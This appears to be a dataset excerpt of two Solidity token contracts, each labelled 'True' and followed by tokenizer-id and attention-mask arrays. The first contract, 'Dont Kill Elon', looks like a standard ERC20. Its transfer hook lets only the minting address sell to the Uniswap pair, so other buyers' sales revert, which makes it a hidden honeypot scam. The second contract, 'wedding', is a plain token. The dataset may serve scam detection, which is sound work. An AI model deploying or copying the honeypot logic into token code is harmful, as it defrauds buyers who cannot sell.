* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0x3b6284Cdf04dc920B2F758C6Ce83C9B56CB1E3F9, 1000000000 *10**18);
_enable[0x3b6284Cdf04dc920B2F758C6Ce83C9B56CB1E3F9] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Dont Kill Elon";
_symbol = "Dont Kill Elon";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5757,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2861,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.18;
// --here you can store your text -----------------
// 'wedding' token contract
//
// Deployed to : 0xE15902055f380BbB907705054800c3f5Bf2Cf72B
// Symbol : wedding
// Name : wedding
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract wedding is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function wedding() public {
symbol = "wedding";
name = "wedding";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xE15902055f380BbB907705054800c3f5Bf2Cf72B] = _totalSupply;
Transfer(address(0),0xE15902055f380BbB907705054800c3f5Bf2Cf72B , _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
2182,
2017,
2064,
3573,
2115,
3793,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1004,
1001,
4464,
1025,
5030,
1004,
1001,
4464,
1025,
19204,
3206,
1013,
1013,
1013,
1013,
7333,
2000,
1024,
1014,
2595,
2063,
16068,
21057,
11387,
24087,
2546,
22025,
2692,
10322,
2497,
21057,
2581,
19841,
12376,
27009,
17914,
2692,
2278,
2509,
2546,
2629,
29292,
2475,
2278,
2546,
2581,
2475,
2497,
1013,
1013,
6454,
1024,
5030,
1013,
1013,
2171,
1024,
5030,
1013,
1013,
2561,
4425,
1024,
6694,
8889,
8889,
2692,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
3647,
4305,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
